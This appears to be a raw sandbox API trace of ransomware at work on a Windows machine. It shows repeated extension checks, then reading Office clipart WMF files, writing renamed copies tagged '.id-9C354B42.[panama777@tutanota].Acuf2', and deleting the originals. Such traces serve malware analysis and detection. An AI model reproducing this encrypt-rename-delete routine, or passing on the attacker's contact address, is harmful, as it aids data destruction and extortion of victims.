	[0275.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.949] lstrlenW (lpString=".rar") returned 4
	[0275.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.949] lstrlenW (lpString=".bz2") returned 4
	[0275.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.949] lstrlenW (lpString=".7z") returned 3
	[0275.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.949] lstrlenW (lpString=".dbf") returned 4
	[0275.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.949] lstrlenW (lpString=".1cd") returned 4
	[0275.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.949] lstrlenW (lpString=".jpg") returned 4
	[0275.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.950] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.950] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.950] GetLastError () returned 0x0
	[0275.950] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xed8, lpOverlapped=0x0) returned 1
	[0275.952] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xee0, lpOverlapped=0x0) returned 1
	[0275.952] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.953] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.953] SetEndOfFile (hFile=0x28c) returned 1
	[0275.953] CloseHandle (hObject=0x28c) returned 1
	[0275.953] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.953] SetEndOfFile (hFile=0x34c) returned 1
	[0275.955] CloseHandle (hObject=0x34c) returned 1
	[0275.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 1
	[0275.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.955] lstrlenW (lpString=".doc") returned 4
	[0275.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.955] lstrlenW (lpString=".docx") returned 5
	[0275.955] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.955] lstrlenW (lpString=".pdf") returned 4
	[0275.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.955] lstrlenW (lpString=".xls") returned 4
	[0275.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.955] lstrlenW (lpString=".xlsx") returned 5
	[0275.955] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.955] lstrlenW (lpString=".ppt") returned 4
	[0275.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.955] lstrlenW (lpString=".zip") returned 4
	[0275.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.956] lstrlenW (lpString=".rar") returned 4
	[0275.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.956] lstrlenW (lpString=".bz2") returned 4
	[0275.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.956] lstrlenW (lpString=".7z") returned 3
	[0275.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.956] lstrlenW (lpString=".dbf") returned 4
	[0275.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.956] lstrlenW (lpString=".1cd") returned 4
	[0275.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63
	[0275.956] lstrlenW (lpString=".jpg") returned 4
	[0275.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.957] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.957] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.957] GetLastError () returned 0x0
	[0275.957] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2044, lpOverlapped=0x0) returned 1
	[0275.959] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2050, lpOverlapped=0x0) returned 1
	[0275.959] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.959] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.960] SetEndOfFile (hFile=0x28c) returned 1
	[0275.960] CloseHandle (hObject=0x28c) returned 1
	[0275.960] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.960] SetEndOfFile (hFile=0x34c) returned 1
	[0275.961] CloseHandle (hObject=0x34c) returned 1
	[0275.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 1
	[0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.962] lstrlenW (lpString=".doc") returned 4
	[0275.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.962] lstrlenW (lpString=".docx") returned 5
	[0275.962] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.962] lstrlenW (lpString=".pdf") returned 4
	[0275.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.962] lstrlenW (lpString=".xls") returned 4
	[0275.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.962] lstrlenW (lpString=".xlsx") returned 5
	[0275.962] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.962] lstrlenW (lpString=".ppt") returned 4
	[0275.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.962] lstrlenW (lpString=".zip") returned 4
	[0275.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.962] lstrlenW (lpString=".rar") returned 4
	[0275.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.963] lstrlenW (lpString=".bz2") returned 4
	[0275.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.963] lstrlenW (lpString=".7z") returned 3
	[0275.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.963] lstrlenW (lpString=".dbf") returned 4
	[0275.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.963] lstrlenW (lpString=".1cd") returned 4
	[0275.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63
	[0275.963] lstrlenW (lpString=".jpg") returned 4
	[0275.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.964] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.964] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.964] GetLastError () returned 0x0
	[0275.964] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1b68, lpOverlapped=0x0) returned 1
	[0275.966] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1b70, lpOverlapped=0x0) returned 1
	[0275.967] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.967] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.967] SetEndOfFile (hFile=0x28c) returned 1
	[0275.967] CloseHandle (hObject=0x28c) returned 1
	[0275.967] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.967] SetEndOfFile (hFile=0x34c) returned 1
	[0275.969] CloseHandle (hObject=0x34c) returned 1
	[0275.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 1
	[0275.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.969] lstrlenW (lpString=".doc") returned 4
	[0275.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.969] lstrlenW (lpString=".docx") returned 5
	[0275.969] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.969] lstrlenW (lpString=".pdf") returned 4
	[0275.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.969] lstrlenW (lpString=".xls") returned 4
	[0275.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.969] lstrlenW (lpString=".xlsx") returned 5
	[0275.969] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.969] lstrlenW (lpString=".ppt") returned 4
	[0275.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.970] lstrlenW (lpString=".zip") returned 4
	[0275.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.970] lstrlenW (lpString=".rar") returned 4
	[0275.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.970] lstrlenW (lpString=".bz2") returned 4
	[0275.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.970] lstrlenW (lpString=".7z") returned 3
	[0275.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.970] lstrlenW (lpString=".dbf") returned 4
	[0275.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.970] lstrlenW (lpString=".1cd") returned 4
	[0275.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63
	[0275.970] lstrlenW (lpString=".jpg") returned 4
	[0275.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.971] GetLastError () returned 0x0
	[0275.971] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1574, lpOverlapped=0x0) returned 1
	[0275.972] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1580, lpOverlapped=0x0) returned 1
	[0275.973] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.973] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.973] SetEndOfFile (hFile=0x28c) returned 1
	[0275.973] CloseHandle (hObject=0x28c) returned 1
	[0275.974] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.974] SetEndOfFile (hFile=0x34c) returned 1
	[0275.975] CloseHandle (hObject=0x34c) returned 1
	[0275.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 1
	[0275.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.976] lstrlenW (lpString=".doc") returned 4
	[0275.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.976] lstrlenW (lpString=".docx") returned 5
	[0275.976] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.976] lstrlenW (lpString=".pdf") returned 4
	[0275.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.976] lstrlenW (lpString=".xls") returned 4
	[0275.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.976] lstrlenW (lpString=".xlsx") returned 5
	[0275.976] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.976] lstrlenW (lpString=".ppt") returned 4
	[0275.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.976] lstrlenW (lpString=".zip") returned 4
	[0275.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.976] lstrlenW (lpString=".rar") returned 4
	[0275.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.977] lstrlenW (lpString=".bz2") returned 4
	[0275.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.977] lstrlenW (lpString=".7z") returned 3
	[0275.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.977] lstrlenW (lpString=".dbf") returned 4
	[0275.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.977] lstrlenW (lpString=".1cd") returned 4
	[0275.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63
	[0275.977] lstrlenW (lpString=".jpg") returned 4
	[0275.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.855] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.855] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0276.855] GetLastError () returned 0x0
	[0276.856] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xbf4, lpOverlapped=0x0) returned 1
	[0276.857] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xc00, lpOverlapped=0x0) returned 1
	[0276.858] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.858] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.858] SetEndOfFile (hFile=0x394) returned 1
	[0276.858] CloseHandle (hObject=0x394) returned 1
	[0276.858] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.858] SetEndOfFile (hFile=0x274) returned 1
	[0276.861] CloseHandle (hObject=0x274) returned 1
	[0276.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 1
	[0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.106] lstrlenW (lpString=".doc") returned 4
	[0277.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString=".docx") returned 5
	[0277.106] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0277.106] lstrlenW (lpString=".pdf") returned 4
	[0277.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString=".xls") returned 4
	[0277.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0277.106] lstrlenW (lpString=".xlsx") returned 5
	[0277.106] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0277.106] lstrlenW (lpString=".ppt") returned 4
	[0277.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.106] lstrlenW (lpString=".zip") returned 4
	[0277.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0277.106] lstrlenW (lpString=".rar") returned 4
	[0277.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString=".bz2") returned 4
	[0277.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString=".7z") returned 3
	[0277.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.106] lstrlenW (lpString=".dbf") returned 4
	[0277.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.106] lstrlenW (lpString=".1cd") returned 4
	[0277.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0277.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63
	[0277.107] lstrlenW (lpString=".jpg") returned 4
	[0277.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0277.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
